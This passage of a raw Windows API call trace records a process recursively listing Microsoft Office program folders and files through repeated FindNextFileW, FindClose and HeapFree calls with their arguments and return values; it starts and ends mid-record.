cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0115.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4363238 | out: hHeap=0x5c0000) returned 1 [0115.575] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0115.575] FindClose (in: hFindFile=0x4290540 | out: hFindFile=0x4290540) returned 1 [0115.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0115.576] FindNextFileW (in: hFindFile=0x42901c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0115.576] FindClose (in: hFindFile=0x42901c0 | out: hFindFile=0x42901c0) returned 1 [0115.576] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0115.577] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0115.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0115.580] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0115.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0115.582] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0115.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0115.585] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0115.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4363238 | out: hHeap=0x5c0000) returned 1 [0115.585] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0115.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4363238 | out: hHeap=0x5c0000) returned 1 [0115.589] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1 [0115.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4363238 | out: hHeap=0x5c0000) returned 1 [0115.590] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0115.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4363238 | out: hHeap=0x5c0000) returned 1 [0115.599] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0116.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0116.006] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1 [0116.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43b3248 | out: hHeap=0x5c0000) returned 1 [0116.007] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1 [0116.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0116.681] FindNextFileW (in: hFindFile=0x42901c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0116.749] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0116.749] FindNextFileW (in: hFindFile=0x42901c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0116.766] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0116.766] FindNextFileW (in: hFindFile=0x42901c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0116.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0116.785] FindNextFileW (in: hFindFile=0x42901c0, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0116.785] FindClose (in: hFindFile=0x42901c0 | out: hFindFile=0x42901c0) returned 1 [0116.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43b3248 | out: hHeap=0x5c0000) returned 1 [0116.785] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1 [0116.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0116.807] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0116.812] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0116.812] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0116.849] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0116.849] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0116.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0116.862] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0116.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0116.885] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0116.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0116.962] FindNextFileW (in: hFindFile=0x4290780, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0116.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0116.965] FindNextFileW (in: hFindFile=0x4290780, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0116.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0116.965] FindNextFileW (in: hFindFile=0x4290780, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0116.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0116.965] FindNextFileW (in: hFindFile=0x4290780, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0116.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0116.966] FindNextFileW (in: hFindFile=0x4290780, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0116.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0116.968] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0116.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0116.974] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0116.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0116.976] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0116.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0116.979] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0116.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0116.985] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0116.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0116.989] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0117.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0117.003] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0117.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0117.004] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0117.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0117.006] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0117.232] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0117.232] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0117.233] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0117.233] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0117.235] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0117.235] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, 